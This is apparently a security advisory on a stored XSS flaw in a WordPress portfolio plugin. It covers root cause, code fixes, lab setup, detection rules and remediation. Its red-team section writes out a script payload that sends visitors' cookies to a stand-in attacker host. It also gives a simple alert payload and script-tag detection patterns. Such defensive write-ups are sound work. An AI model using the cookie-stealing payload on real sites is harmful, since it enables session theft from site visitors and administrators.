CVE-2025-11753

Executive Summary

CVE-2025-11753 is a Stored Cross-Site Scripting (XSS) vulnerability in the Bootstrap Multi-language Responsive Portfolio WordPress plugin, affecting all versions up to and including 1.0. The flaw arises from insufficient input sanitization and output escaping in the plugin’s admin settings, allowing authenticated attackers with administrator-level permissions to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page. The vulnerability is limited to multi-site installations or environments where unfiltered_html has been disabled. With a CVSS score of 4.4 (Medium), the risk is elevated in shared hosting or multi-tenant WordPress setups. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin ecosystem, not in the Bootstrap framework itself. The plugin is distributed via the WordPress Plugin Directory and is not an NPM, PyPI, Go, or Ruby package. Supply chain risk is limited to direct installation of the vulnerable plugin version.

CVSS Breakdown & Threat Level

• CVSS Score: 4.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – the vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): High – attacker needs admin-level access.
• User Interaction (UI): Required – a user must visit the injected page.
• Scope (S): Changed – the injected script can affect other resources.
• Confidentiality (C): Low – limited data exposure.
• Integrity (I): Low – limited ability to modify content.
• Availability (A): None – no impact on availability.

Threat Level: Medium. Exploitation requires admin credentials, but in multi-site environments, a compromised admin account can lead to widespread XSS attacks across all subsites.

Deep Dive & Mechanics

The vulnerability exists in the plugin’s admin settings page, where user-supplied input (e.g., site title, description, or custom fields) is stored without proper sanitization. When this data is later rendered on the frontend, it is not escaped, allowing HTML and JavaScript injection.

Root Cause: The plugin uses functions like update_option() to store admin settings and echo or the_title() to display them without applying esc_html(), wp_kses(), or similar WordPress escaping functions.

Attack Flow:

1. Attacker gains admin access to a WordPress multi-site network.
2. Attacker navigates to the plugin’s settings page (e.g., /wp-admin/admin.php?page=bootstrap-multi-language-settings).
3. Attacker injects a malicious payload into a text field, such as:

   <script>alert('XSS')</script>
   

4. The payload is stored in the database.
5. When any user (including lower-privileged users or visitors) views a page that displays this setting, the script executes in their browser.

Why Multi-Site Only: In single-site installations, administrators typically have unfiltered_html capability, which allows them to post arbitrary HTML. The vulnerability is only exploitable when unfiltered_html is disabled (common in multi-site networks where super admins restrict subsite admins).

Vulnerable vs. Patched Code

Vulnerable Code (Example from plugin version 1.0):

// In admin settings page
$site_title = $_POST['site_title'];
update_option('bootstrap_site_title', $site_title);

// In frontend display
echo get_option('bootstrap_site_title');

Patched Code (Hypothetical):

// In admin settings page
$site_title = sanitize_text_field($_POST['site_title']);
update_option('bootstrap_site_title', $site_title);

// In frontend display
echo esc_html(get_option('bootstrap_site_title'));

Key Differences:

• Sanitization: sanitize_text_field() strips out HTML tags before storage.
• Escaping: esc_html() converts special characters to HTML entities on output.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress multi-site installation with the vulnerable plugin.
• Admin credentials for a subsite (not super admin).

Steps:

1. Log in as a subsite admin.
2. Navigate to the plugin settings: /wp-admin/admin.php?page=bootstrap-multi-language-settings.
3. In the "Site Title" field, inject:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save settings.
5. Wait for a super admin or visitor to view the homepage.

Lab Setup:

• Use Docker to spin up a WordPress multi-site environment:

  docker run -d --name wp-multisite -e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_USER=wordpress -e WORDPRESS_DB_PASSWORD=wordpress -e WORDPRESS_DB_NAME=wordpress -e WORDPRESS_MULTISITE=1 wordpress:latest
  

• Install the vulnerable plugin manually.

Blue Team (Defensive)

Detection:

• Monitor admin settings changes via audit logs.
• Look for suspicious HTML/JavaScript in wp_options table:

  SELECT * FROM wp_options WHERE option_name LIKE '%bootstrap%' AND option_value LIKE '%<script%';
  

• Use WAF rules to block XSS payloads in admin POST requests.

Mitigation:

• Disable the plugin until a patch is released.
• Restrict admin access to trusted users only.
• Enable unfiltered_html only for super admins.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/bootstrap-multi-language-responsive-portfolio/admin/settings.php (contains vulnerable code).
• Database: Rows in wp_options with option_name like bootstrap_% containing <script> tags.
• Network: Outbound requests to attacker-controlled domains from WordPress admin pages.
• Logs: WordPress debug log entries showing wp_kses or sanitize failures.

Detection Engineering

YARA Rule

rule CVE_2025_11753_WordPress_Plugin_XSS {
    meta:
        description = "Detects vulnerable Bootstrap Multi-language Responsive Portfolio plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-11753"
    strings:
        $vuln_func1 = "update_option("
        $vuln_func2 = "get_option("
        $vuln_echo = "echo get_option("
        $plugin_path = "bootstrap-multi-language-responsive-portfolio"
    condition:
        $plugin_path and ($vuln_func1 or $vuln_func2 or $vuln_echo)
}

Sigma Rule

title: CVE-2025-11753 Stored XSS in Bootstrap Multi-language Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS payloads in WordPress options table
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        option_name|startswith: 'bootstrap_'
        option_value|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate admin use of JavaScript (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-11753 Stored XSS Payload in WordPress Admin"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=bootstrap-multi-language-settings"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin on all sites until a patch is available.
2. Review admin accounts and revoke unnecessary privileges.
3. Scan the database for stored XSS payloads using the SQL query in the Blue Team section.

Long-Term Fix:

• Apply input sanitization (sanitize_text_field(), wp_kses()) and output escaping (esc_html(), esc_attr()) to all plugin settings.
• Update to a patched version once released by the vendor.

Workarounds:

• For multi-site networks, enforce unfiltered_html restrictions only for super admins.
• Use a Web Application Firewall (WAF) to block XSS patterns in admin POST requests.

Valters IT
Securing WordPress Ecosystems | DevSecOps & CTI Expert